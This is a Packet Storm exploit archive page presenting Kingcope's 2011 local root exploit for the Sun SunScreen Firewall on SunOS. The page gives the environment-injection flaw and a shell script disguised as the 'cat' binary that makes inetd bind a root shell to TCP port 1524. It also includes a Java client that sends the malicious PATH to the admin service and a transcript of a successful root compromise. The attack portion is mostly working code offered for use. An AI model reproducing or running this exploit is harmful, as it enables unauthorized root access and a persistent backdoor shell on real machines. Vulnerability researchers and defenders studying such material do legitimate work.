exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sun Microsystems SunScreen Firewall Root Exploit

Sun Microsystems SunScreen Firewall Root Exploit
Posted Jan 24, 2011
Authored by Kingcope

Sun Microsystems SunScreen Firewall local root exploit that spawns a shell on tcp port 1524.

tags | exploit, shell, local, root, tcp
SHA-256 | 48b25d9b1d67e00e988fa7f1f96311c9fd7c9980d28849043cb2bb94b55c28fd

Sun Microsystems SunScreen Firewall Root Exploit

Change Mirror Download
/*

Sun Microsystems SunScreen Firewall Root Exploit
discovered & exploited by Kingcope
January 2011

The SunScreen Firewall can be administrated remotely via a java protocol service
which is running on port 3858 on a SunOS machine.

This Java Service contains numerous buffer overruns (2 of which I am aware of).
Furthermore it is possible to execute arbitrary code if an attacker manages
to upload a file onto the target system.

As you can see in the following java exploit code the environment
is not properly sanitized prior to executing shell scripts as root,
thus one can use the LD technique to preload binaries or even easier
modify the PATH variable to forge the ´cat´ binary (which is executed by lib/screenname)
to be executed in a different place.

This can be exploited locally - remotely especially if anonymous ftp uploads
are possible or any other file transfer protocol is activated. Uploading
a file via the line printer daemon might also be possible.

This has been tested on a SunOS 5.9.

The shell script to be forged as the ´cat´ binary..

#!/bin/sh
echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;
/usr/sbin/inetd -s /tmp/x; /bin/rm -f /tmp/x
echo "+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++"
#---

upload above shell script to /PATH/cat
chmod a+x /PATH/cat
supply target and PATH envvar to exploit

Opens a root shell on port 1524/tcp (ingreslock)
A successfull exploit looks like

$ java SimpleClient

  ? ??ð? &Connection accepted, no authentication¶? O
+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED YA+++ WE OWNED Y
A+++

$ telnet 192.168.2.3 1524
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.
# /bin/uname -a;
SunOS unknown 5.9 Generic_118558-34 sun4u sparc SUNW,Ultra-5_10
^M: not found
# /b
in/id;
uid=0(root) gid=1(other)
^M: not found
#

*/

import java.net.*;
import java.io.*;
import java.util.*;
import java.text.DateFormat;
public class SimpleClient {

public static void main(String args[]) {

String str;

try {

Socket s1 = new Socket("192.168.2.3", 3853);

InputStream is = s1.getInputStream();

DataInputStream dis = new DataInputStream(is);

OutputStream s1out = s1.getOutputStream();
DataOutputStream dos = new DataOutputStream(s1out);

dos.writeByte(1);
dos.writeByte(0);
dos.writeShort(0);
dos.writeInt(0);
dos.writeByte(3);
dos.writeByte(0);
dos.writeShort(2000);
dos.writeShort(0);
dos.writeShort(0);

dos.writeUTF("0xtest");
dos.writeByte(3);
dos.writeByte(1);
dos.writeByte(1);
dos.writeByte(1);
dos.writeInt(3);
dos.writeInt(0);
dos.writeInt(0);

dos.writeUTF("PATH=/tmp");
dos.writeUTF("lib/screenname");

dos.writeUTF("admin1");

str = dis.readLine();
System.out.println(str);

str = dis.readLine();
System.out.println(str);

dis.close();
dos.close();
s1.close();
} catch (ConnectException connExc) {
System.err.println("Could not connect to the server.");
} catch (IOException e) {
// foo
}
}
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close